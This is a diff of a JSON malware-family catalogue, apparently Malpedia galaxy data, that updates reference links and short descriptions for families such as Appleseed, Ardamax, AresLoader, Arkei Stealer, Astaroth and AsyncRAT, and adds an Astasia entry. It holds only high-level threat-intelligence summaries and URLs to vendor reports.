"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-north-korea-indictment", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c", - "https://blog.sekoia.io/the-dprk-delicate-sound-of-cyber/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d", + "https://vblocalhost.com/uploads/VB2021-Park.pdf", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f", + "https://twitter.com/VK_Intel/status/1182730637016481793", + "https://blog.sekoia.io/the-dprk-delicate-sound-of-cyber/", "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e", "https://www.telsy.com/download/5394/?uid=28b0a4577e", - "https://www.vkremez.com/2019/10/lets-learn-dissecting-lazarus-windows.html", - "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", - "https://twitter.com/VK_Intel/status/1182730637016481793" + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023" ], "synonyms": [], "type": [] @@ -13120,24 +13734,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.appleseed", - "https://www.boho.or.kr/filedownload.do?attach_file_seq=2652&attach_file_id=EpF2652.pdf", - "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", - "https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf", - "https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/", - "https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2652.pdf", - "https://www.youtube.com/watch?v=rfzmHjZX70s", - "https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf", - "https://asec.ahnlab.com/ko/26705/", - "https://asec.ahnlab.com/en/36368/", - "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf", - "https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2651.pdf", - "https://www.telsy.com/download/5654/?uid=4869868efd", - "https://asec.ahnlab.com/en/30532/", - "https://asec.ahnlab.com/ko/36918/", - "https://asec.ahnlab.com/en/41015/", "https://conference.hitb.org/hitbsecconf2021ams/materials/D2T1%20-%20The%20Phishermen%20-%20Dissecting%20Phishing%20Techniques%20of%20CloudDragon%20APT%20-%20Linda%20Kuo%20&Zih-Cing%20Liao%20.pdf", + "https://asec.ahnlab.com/en/36368/", + "https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.youtube.com/watch?v=Dv2_DK3tRgI" + "https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf", + "https://asec.ahnlab.com/ko/36918/", + "https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf", + "https://www.telsy.com/download/5654/?uid=4869868efd", + "https://asec.ahnlab.com/ko/26705/", + "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", + "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf", + "https://asec.ahnlab.com/en/41015/", + "https://asec.ahnlab.com/ko/54804/", + "https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2652.pdf", + "https://asec.ahnlab.com/en/30532/", + "https://www.youtube.com/watch?v=rfzmHjZX70s", + "https://www.boho.or.kr/filedownload.do?attach_file_seq=2652&attach_file_id=EpF2652.pdf", + "https://www.youtube.com/watch?v=Dv2_DK3tRgI", + "https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2651.pdf" ], "synonyms": [ "JamBog" @@ -13148,7 +13763,7 @@ "value": "Appleseed" }, { - "description": "", + "description": "According to f-secure, Ardamax is a commercial keylogger program that can be installed onto the system from the product's website.& When run, the program can capture a range of user activities, such as keystrokes typed, instant messenger chat logs, web browser activity and even screenshots of the active desktop.\r\n\r\nThis program can be configured to a complete stealth mode, with password protection, to avoid user detection.\r\n\r\nThe information gathered is stored in an encrypted log file, which is only viewable using the built-in Log Viewer. The log file can be sent to an external party through e-mail, via a local area network (LAN) or by upload to an FTP server (in either HTML or encrypted format).", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ardamax", @@ -13175,7 +13790,7 @@ "value": "Arefty" }, { - "description": "Malware derived from the source code of win.kronos.", + "description": "A banking trojan, derived from the source code of win.kronos. In August 2022 it started to incorporate DGA code from win.qakbot.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ares", @@ -13189,14 +13804,14 @@ "value": "Ares (Windows)" }, { - "description": "AresLoader is a new malware \"downloader\" that has been advertised on some Russian language Dark Web forums “RAMP and \"XSS\" by a threat actor called \"DarkBLUP\". Researchers assess this loader is likely a legitimate penetration testing tool that is now being abused by threat actors. This is because of a similar project, dubbed “Project Ares,” was previously uploaded to GitHub as a proof-of-concept (PoC) by the well-regarded user and red teamer “CerberSec.”\r\n\r\nThe loader mimics legitimate software to trick victims into executing malware with administrator rights on their machines. Additional features of the loader include:\r\n\r\n1. Written in C/C++\r\n2. Supports 64-bit payloads\r\n3. Makes it look like malware spawned by another process\r\n4. Prevents non-Microsoft signed binaries from being injected into malware\r\n5. Hides suspicious imported Windows APIs\r\n6. Leverages anti-analysis techniques to avoid reverse engineering\r\n\r\nFurthermore, It was observed that SystemBC, Amadey, and several Raccoon Stealers were directly installing AresLoader. To date, the AresLoader downloader has been seen delivering payloads like SystemBC, Lumma Stealer, StealC, Aurora Stealer, and Laplas Clipper.", + "description": "AresLoader is a new malware \"downloader\" that has been advertised on some Russian language Dark Web forums \u201cRAMP and \"XSS\" by a threat actor called \"DarkBLUP\". Researchers assess this loader is likely a legitimate penetration testing tool that is now being abused by threat actors. This is because of a similar project, dubbed \u201cProject Ares,\u201d was previously uploaded to GitHub as a proof-of-concept (PoC) by the well-regarded user and red teamer \u201cCerberSec.\u201d\r\n\r\nThe loader mimics legitimate software to trick victims into executing malware with administrator rights on their machines. Additional features of the loader include:\r\n\r\n1. Written in C/C++\r\n2. Supports 64-bit payloads\r\n3. Makes it look like malware spawned by another process\r\n4. Prevents non-Microsoft signed binaries from being injected into malware\r\n5. Hides suspicious imported Windows APIs\r\n6. Leverages anti-analysis techniques to avoid reverse engineering\r\n\r\nFurthermore, It was observed that SystemBC, Amadey, and several Raccoon Stealers were directly installing AresLoader. To date, the AresLoader downloader has been seen delivering payloads like SystemBC, Lumma Stealer, StealC, Aurora Stealer, and Laplas Clipper.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.aresloader", - "https://intel471.com/blog/new-loader-on-the-bloc-aresloader", - "https://research.openanalysis.net/ares/aresloader/loader/2023/04/02/aresloader.html", "https://flashpoint.io/blog/private-malware-for-sale-aresloader/", "https://twitter.com/k3dg3/status/1636873721200746496", + "https://research.openanalysis.net/ares/aresloader/loader/2023/04/02/aresloader.html", + "https://intel471.com/blog/new-loader-on-the-bloc-aresloader", "https://www.zerofox.com/blog/the-underground-economist-volume-2-issue-24/" ], "synonyms": [], @@ -13210,8 +13825,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.arguepatch", - "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", - "https://www.mandiant.com/resources/blog/gru-rise-telegram-minions" + "https://www.mandiant.com/resources/blog/gru-rise-telegram-minions", + "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/" ], "synonyms": [], "type": [] @@ -13226,8 +13841,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ariabody", "https://medium.com/insomniacs/aria-body-loader-is-that-you-53bdd630f8a1", "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", - "https://securelist.com/it-threat-evolution-q2-2020/98230", - "https://securelist.com/naikons-aria/96899/" + "https://securelist.com/naikons-aria/96899/", + "https://securelist.com/it-threat-evolution-q2-2020/98230" ], "synonyms": [], "type": [] @@ -13240,9 +13855,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.aridgopher", - "https://www.deepinstinct.com/blog/arid-gopher-the-newest-micropsia-malware-variant", + "https://www.theregister.com/2022/03/22/arid-gopher-malware-deep-instinct/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/mantis-palestinian-attacks", - "https://www.theregister.com/2022/03/22/arid-gopher-malware-deep-instinct/" + "https://www.deepinstinct.com/blog/arid-gopher-the-newest-micropsia-malware-variant" ], "synonyms": [], "type": [] @@ -13283,18 +13898,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer", - "https://isc.sans.edu/diary/rss/28468", - "https://ke-la.com/information-stealers-a-new-landscape/", - "https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", - "https://threatmon.io/arkei-stealer-analysis-threatmon/", + "https://drive.google.com/file/d/1wTH-BZrjxEBZwCnXJ3pQWGB7ou0IoBEr/view", + "https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468", "https://forensicitguy.github.io/analyzing-stealer-msi-using-msitools/", "https://www.bleepingcomputer.com/news/security/hacker-breaches-syscoin-github-account-and-poisons-official-client/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://ke-la.com/information-stealers-a-new-landscape/", "https://blogs.blackberry.com/en/2022/02/threat-thursday-arkei-infostealer", - "https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468", "https://blog.minerva-labs.com/a-long-list-of-arkei-stealers-browser-crypto-wallets", - "https://drive.google.com/file/d/1wTH-BZrjxEBZwCnXJ3pQWGB7ou0IoBEr/view" + "https://isc.sans.edu/diary/rss/28468", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://threatmon.io/arkei-stealer-analysis-threatmon/", + "https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/" ], "synonyms": [ "ArkeiStealer" @@ -13305,7 +13920,7 @@ "value": "Arkei Stealer" }, { - "description": "It is available as a service, purchasable by anyone to use in their own campaigns. It’s features are generally fairly typical of a RAT, with its most notable aspect being the hVNC module which basically gives an attacker full remote access with minimal need for technical knowledge to use it.", + "description": "It is available as a service, purchasable by anyone to use in their own campaigns. It\u2019s features are generally fairly typical of a RAT, with its most notable aspect being the hVNC module which basically gives an attacker full remote access with minimal need for technical knowledge to use it.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.arrowrat", @@ -13322,9 +13937,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ars_loader", - "https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/", + "https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/", "https://twitter.com/Racco42/status/1001374490339790849", - "https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/" + "https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/" ], "synonyms": [], "type": [] @@ -13352,12 +13967,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.artra", "https://www.freebuf.com/articles/database/192726.html", - "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/", - "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english", - "https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/", - "https://securelist.com/apt-trends-report-q1-2021/101967/" + "https://securelist.com/apt-trends-report-q1-2021/101967/", + "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", + "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", + "https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/" ], "synonyms": [], "type": [] @@ -13407,8 +14022,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox", - "https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign", "http://oalabs.openanalysis.net/2014/12/04/inside-the-new-asprox-kuluoz-october-2013-january-2014/", + "https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign", "https://researchcenter.paloaltonetworks.com/2015/08/whats-next-in-malware-after-kuluoz/" ], "synonyms": [ @@ -13425,8 +14040,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.asruex", - "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/asruex-backdoor-variant-infects-word-documents-and-pdfs-through-old-ms-office-and-adobe-vulnerabilities/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/asruex-backdoor-variant-infects-word-documents-and-pdfs-through-old-ms-office-and-adobe-vulnerabilities/", + "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html" ], "synonyms": [], "type": [] @@ -13439,21 +14054,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.astaroth", - "https://blog.talosintelligence.com/2020/05/astaroth-analysis.html", - "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", - "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf", - "https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/", - "https://www.microsoft.com/security/blog/2020/03/23/latest-astaroth-living-off-the-land-attacks-are-even-more-invisible-but-not-less-observable/", - "https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/", + "https://blog.easysol.net/meet-lucifer-international-trojan/", "https://isc.sans.edu/diary/Brazil+malspam+pushes+Astaroth+%28Guildma%29+malware/28962", "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf", + "https://www.microsoft.com/security/blog/2020/03/23/latest-astaroth-living-off-the-land-attacks-are-even-more-invisible-but-not-less-observable/", "https://www.armor.com/resources/threat-intelligence/astaroth-banking-trojan/", - "https://github.com/pan-unit42/tweets/blob/master/2022-01-17-IOCs-for-Astaroth-Guildma-infection.txt", - "https://blog.easysol.net/meet-lucifer-international-trojan/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/", + "https://blog.talosintelligence.com/2020/05/astaroth-analysis.html", + "https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/", "https://isc.sans.edu/diary/27482", - "https://labs.f-secure.com/blog/attack-detection-fundamentals-code-execution-and-persistence-lab-1/" + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://labs.f-secure.com/blog/attack-detection-fundamentals-code-execution-and-persistence-lab-1/", + "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "https://github.com/pan-unit42/tweets/blob/master/2022-01-17-IOCs-for-Astaroth-Guildma-infection.txt", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html" ], "synonyms": [ "Guildma" @@ -13463,6 +14078,19 @@ "uuid": "0cdb83dd-106b-458e-8d04-ca864281e06e", "value": "Astaroth" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.astasia", + "https://twitter.com/MalGamy12/status/1690100567756906497" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6cc38bdd-f7ac-4775-bc41-69e72b761ab5", + "value": "Astasia" + }, { "description": "", "meta": { @@ -13480,94 +14108,98 @@ "value": "AstraLocker" }, { - "description": "AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victim’s computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.", + "description": "AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victim\u2019s computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat", - "https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service", + "https://assets.virustotal.com/reports/2021trends.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", + "https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf", + "https://threatpost.com/ta2541-apt-rats-aviation/178422/", + "https://www.esentire.com/blog/suspected-asyncrat-delivered-via-iso-files-using-html-smuggling-technique", + "https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w", + "https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html", + "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", + "https://kienmanowar.wordpress.com/2023/04/08/quicknote-uncovering-suspected-malware-distributed-by-individuals-from-vietnam/", + "https://ti.qianxin.com/uploads/2020/09/17/69da886eecc7087e9dac2d3ea4c66ba8.pdf", + "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", + "https://www.huntress.com/blog/advanced-cyberchef-tips-asyncrat-loader", + "https://decoded.avast.io/threatintel/outbreak-of-follina-in-australia", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/targeted-attack-on-government-agencies.html", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://www.esentire.com/blog/asyncrat-activity", + "https://blog.morphisec.com/syk-crypter-discord", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://threatresearch.ext.hp.com/stealthy-opendocument-malware-targets-latin-american-hotels/#", "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://community.riskiq.com/article/24759ad2", - "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/follina-msdt-exploit-malware", - "https://medium.com/@hcksyd/asyncrat-analysing-the-three-stages-of-execution-378b343216bf", + "https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf", + "https://blog.talosintelligence.com/2022/04/asyncrat-3losh-update.html", + "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://www.netskope.com/blog/asyncrat-using-fully-undetected-downloader", + "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", + "https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers", + "https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/08/16/asyncrat-c2-framework-overview-technical-analysis-and-detection", + "https://www.ncsc.admin.ch/ncsc/en/home/aktuell/im-fokus/2022/wochenrueckblick_7.html", "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "https://www.menlosecurity.com/blog/isomorph-infection-in-depth-analysis-of-a-new-html-smuggling-campaign/", + "https://community.riskiq.com/article/3929ede0/description", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/follina-msdt-exploit-malware", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/", + "https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise", + "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/", + "https://twitter.com/MsftSecIntel/status/1392219299696152578", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/", + "https://github.com/jeFF0Falltrades/Tutorials/tree/master/asyncrat_config_parser", + "https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service", + "https://redskyalliance.org/xindustry/possible-identity-of-a-kuwaiti-hacker-nyanxcat", + "https://labs.k7computing.com/?p=21759", + "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", + "https://www.secureworks.com/research/darktortilla-malware-analysis", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", + "https://community.riskiq.com/article/ade260c6", + "https://aidenmitchell.ca/asyncrat-via-vbs/", + "https://decoded.avast.io/threatintel/outbreak-of-follina-in-australia/", + "https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4", + "https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight", + "https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution", "https://cocomelonc.github.io/malware/2023/01/04/malware-tricks-26.html", "https://jstnk9.github.io/jstnk9/research/AsyncRAT-Analysis/", - "https://www.menlosecurity.com/blog/isomorph-infection-in-depth-analysis-of-a-new-html-smuggling-campaign/", - "https://decoded.avast.io/threatintel/outbreak-of-follina-in-australia", - "https://threatresearch.ext.hp.com/stealthy-opendocument-malware-targets-latin-american-hotels/#", - "https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise", - "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", - "https://www.fortinet.com/blog/threat-research/spear-phishing-campaign-with-new-techniques-aimed-at-aviation-companies", - "https://decoded.avast.io/threatintel/outbreak-of-follina-in-australia/", - "https://twitter.com/MsftSecIntel/status/1392219299696152578", - "https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt", - "https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html", - "https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution", - "https://blog.qualys.com/vulnerabilities-threat-research/2022/08/16/asyncrat-c2-framework-overview-technical-analysis-and-detection", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.huntress.com/blog/advanced-cyberchef-tips-asyncrat-loader", - "https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers", - "https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns", - "https://thehackernews.com/2022/01/hackers-using-new-evasive-technique-to.html", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", - "https://redskyalliance.org/xindustry/possible-identity-of-a-kuwaiti-hacker-nyanxcat", - "https://blog.morphisec.com/asyncrat-new-delivery-technique-new-threat-campaign", - "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", - "https://labs.k7computing.com/?p=21759", - "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/", - "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", - "https://www.splunk.com/en_us/blog/security/asyncrat-crusade-detections-and-defense.html", - "https://blog.netlab.360.com/purecrypter", - "https://ti.qianxin.com/uploads/2020/09/17/69da886eecc7087e9dac2d3ea4c66ba8.pdf", - "https://twitter.com/vxunderground/status/1519632014361640960", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://brianstadnicki.github.io/posts/vulnerability-asyncrat-rce/", "https://twitter.com/ESETresearch/status/1449132020613922828", - "https://www.zscaler.com/blogs/security-research/targeted-attack-thailand-pass-customers-delivers-asyncrat", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", - "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/", - "https://www.secureworks.com/research/darktortilla-malware-analysis", - "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", - "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", - "https://blogs.vmware.com/security/2019/11/threat-analysis-unit-tau-threat-intelligence-notification-asyncrat.html", - "https://www.esentire.com/blog/asyncrat-activity", - "https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight", - "https://eln0ty.github.io/malware%20analysis/asyncRAT/", - "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper", - "https://aidenmitchell.ca/asyncrat-via-vbs/", - "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", - "https://community.riskiq.com/article/3929ede0/description", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/targeted-attack-on-government-agencies.html", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://assets.virustotal.com/reports/2021trends.pdf", - "https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", - "https://www.esentire.com/blog/suspected-asyncrat-delivered-via-iso-files-using-html-smuggling-technique", - "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", - 